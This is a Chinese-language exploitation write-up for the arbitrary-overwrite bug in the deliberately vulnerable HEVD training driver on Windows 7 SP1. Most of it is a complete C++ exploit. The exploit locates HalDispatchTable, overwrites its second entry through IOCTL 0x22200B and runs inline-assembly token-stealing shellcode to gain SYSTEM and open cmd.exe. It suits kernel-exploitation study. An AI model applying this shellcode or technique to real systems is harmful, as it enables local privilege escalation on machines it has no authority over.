HEVD ArbitraryOverwrite [win7sp1]

HEVD 系列第二类漏洞ArbitraryOverwrite

漏洞分析#

漏洞点#

img
可以看到,如果是安全状态下,ProbeForRead/ProbeForWrite会检查地址指向的空间是否为用户空间,而漏洞并没有检查,因此出现了任意地址写任意值的漏洞

触发路径#

同前,可以看到当传入参数为0x22200b时,会触发该漏洞

利用方法#

任意地址写任意值,因此也就是要回答两个问题,1.什么地址;2.写什么值,第二个问题很好回答,显然是写用户态的shellcode地址,因此我们要回答一下第一个问题。答案是HalDispatchTable的第二个表项的地址
img
它是一个存在于内核态的系统调用表,当我们获得任意地址写的能力后,可以使用shellcode地址覆盖偏移为4的函数HalQuerySystemInformation,然后调用NtQueryIntervalProfile函数,即可通过该表调用shellcode,之所以选择覆盖这个函数,是因为它基本没有什么用,覆盖后应该不会使内核崩溃

当漏洞可以获得任意地址写任意值的能力时,可以利用HalDispatchTable进行利用

利用过程:

  1. 找ntkrnlpa.exe内核态地址:使用EnumDeviceDrivers函数枚举所有的设备驱动地址,找到名为ntkrnlpa.exe驱动的内核态地址
  2. 找ntkrnlpa.exe用户态地址:使用LoadLibraryA函数加载ntkrnlpa.exe到内存获得用户态地址,
  3. 找到HalDispatchTable地址:然后使用GetProcAddress函数获得HalDispatchTable的用户态地址
  4. 根据偏移可以计算出HalDispatchTable的内核地址
  5. 覆盖HalQuerySystemInformation地址为shellcode地址,通过shellcode替换windows token提权
  6. 调用NtQueryIntervalProfile触发shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
kd> u nt!NtQueryIntervalProfile+0x70
nt!NtQueryIntervalProfile+0x70:
84149edb 84db test bl,bl
84149edd 741b je nt!NtQueryIntervalProfile+0x8f (84149efa)
84149edf c745fc01000000 mov dword ptr [ebp-4],1
84149ee6 8906 mov dword ptr [esi],eax
84149ee8 eb07 jmp nt!NtQueryIntervalProfile+0x86 (84149ef1)
84149eea 33c0 xor eax,eax
84149eec 40 inc eax
84149eed c3 ret
kd> u nt!KeQueryIntervalProfile+0x23
nt!KeQueryIntervalProfile+0x23:
84108438 ff15fc83f683 call dword ptr [nt!HalDispatchTable+0x4 (83f683fc)]
8410843e 85c0 test eax,eax
84108440 7c0b jl nt!KeQueryIntervalProfile+0x38 (8410844d)
84108442 807df400 cmp byte ptr [ebp-0Ch],0
84108446 7405 je nt!KeQueryIntervalProfile+0x38 (8410844d)
84108448 8b45f8 mov eax,dword ptr [ebp-8]
8410844b c9 leave
8410844c c3 ret

C++ exp(VS2017)#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
#include<stdio.h>
#include<Windows.h>
#include<Psapi.h>

typedef struct _WRITE_WHAT_WHERE
{
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(
IN ULONG ProfileSource,
OUT PULONG Interval
);

LPVOID GetntkrnlpaKernelBase(){
//Retrieves the load address for each device driver in the system
LPVOID lpImageBase[1024];
DWORD lpcbNeeded;
TCHAR lpfileName[1024];
EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);

for (int i = 0; i < 1024; i++)
{
//Retrieves the base name of the specified device driver
GetDeviceDriverBaseNameA(lpImageBase[i], (LPSTR)lpfileName, 48);

if (!strcmp((char *)lpfileName, "ntkrnlpa.exe"))
{
printf("[+] Success to get %s\n", (char *)lpfileName);
return lpImageBase[i];
}
}
return NULL;
}

PVOID GetHalDispatchTable() {
// 找到 ntkrnlpa.exe 在 kernel mode 中的基地址
LPVOID ntkrnlpaKernelBase = GetntkrnlpaKernelBase();
if (!ntkrnlpaKernelBase) {
wprintf(L"[-] Failed to get ntkrnlpaKernelBase\n");
exit(-1);
}
else {
wprintf(L"[+] Success to get ntkrnlpaKernelBase: 0x%p\n",ntkrnlpaKernelBase);
}
// 找到 ntkrnlpa.exe 在 user mode 中的基地址
HMODULE ntkrnlpaUserBase = NULL;
ntkrnlpaUserBase = LoadLibraryA("ntkrnlpa.exe");
if (!ntkrnlpaUserBase) {
wprintf(L"[-] Failed to get ntkrnlpaUserBase\n");
exit(-1);
}
else {
wprintf(L"[+] Success to get ntkrnlpaUserBase: 0x%p\n", ntkrnlpaUserBase);
}
// 找到 HalDispatchTable 在 user mode 中的地址
PVOID halDispatchTableUserAddress = NULL;
halDispatchTableUserAddress = GetProcAddress(ntkrnlpaUserBase, "HalDispatchTable");
if (!halDispatchTableUserAddress) {
wprintf(L"[-] Failed to get halDispatchTableUserAddress\n");
exit(-1);
}
else {
wprintf(L"[+] Success to get halDispatchTableUserAddress: 0x%p\n", halDispatchTableUserAddress);
PVOID halDispatchTable = (PVOID)((ULONG_PTR)ntkrnlpaKernelBase + ((ULONG_PTR)halDispatchTableUserAddress - (ULONG_PTR)ntkrnlpaUserBase));
return halDispatchTable;
}
return NULL;
}

HANDLE OpenDriver() {
HANDLE hevd = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);

if (hevd == INVALID_HANDLE_VALUE) {
wprintf(L"[-] Failed to open hevd\n");
exit(-1);
}
else {
wprintf(L"[+] Success to open hevd\n");
}
return hevd;
}

VOID ShellCode()
{
_asm
{
//int 3
pop edi // the stack balancing
pop esi
pop ebx
pushad
mov eax, fs: [124h] // Find the _KTHREAD structure for the current thread
mov eax, [eax + 0x50] // Find the _EPROCESS structure
mov ecx, eax
mov edx, 4 // edx = system PID(4)

// The loop is to get the _EPROCESS of the system
find_sys_pid :
mov eax, [eax + 0xb8] // Find the process activity list
sub eax, 0xb8 // List traversal
cmp[eax + 0xb4], edx // Determine whether it is SYSTEM based on PID
jnz find_sys_pid

// Replace the Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
//int 3
ret
}
}


VOID Trigger(DWORD32 where, DWORD32 what, HANDLE hevd)
{
WRITE_WHAT_WHERE exploit;
DWORD lpbReturn = 0;

exploit.Where = (PULONG_PTR)where;
exploit.What = (PULONG_PTR)& what;

DeviceIoControl(hevd,
0x22200B,
&exploit,
sizeof(WRITE_WHAT_WHERE),
NULL,
0,
&lpbReturn,
NULL);
}


int main() {
HANDLE hevd = OpenDriver();

PVOID HalDispatchTable = NULL;
HalDispatchTable = GetHalDispatchTable();
if (!HalDispatchTable) {
wprintf(L"[-] Failed to get HalDispatchTable\n");
exit(-1);
}
else {
wprintf(L"[+] Success to get HalDispatchTable:0x%p\n",HalDispatchTable);
}
PVOID HalDispatchTablePlus4 = NULL;
HalDispatchTablePlus4 = (PVOID)((ULONG_PTR)HalDispatchTable + sizeof(PVOID));
wprintf(L"[+] Success to get HalDispatchTable+4:0x%p\n",HalDispatchTablePlus4);

Trigger((DWORD32)HalDispatchTablePlus4,(DWORD32)& ShellCode,hevd);

NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryIntervalProfile");

printf("[+]NtQueryIntervalProfile address is 0x%x\n", NtQueryIntervalProfile);
ULONG interVal;
NtQueryIntervalProfile(0x1337, &interVal);

printf("[+]Start to Create cmd...\n");

system("cmd.exe");
return 0;
}

参考资料#

评论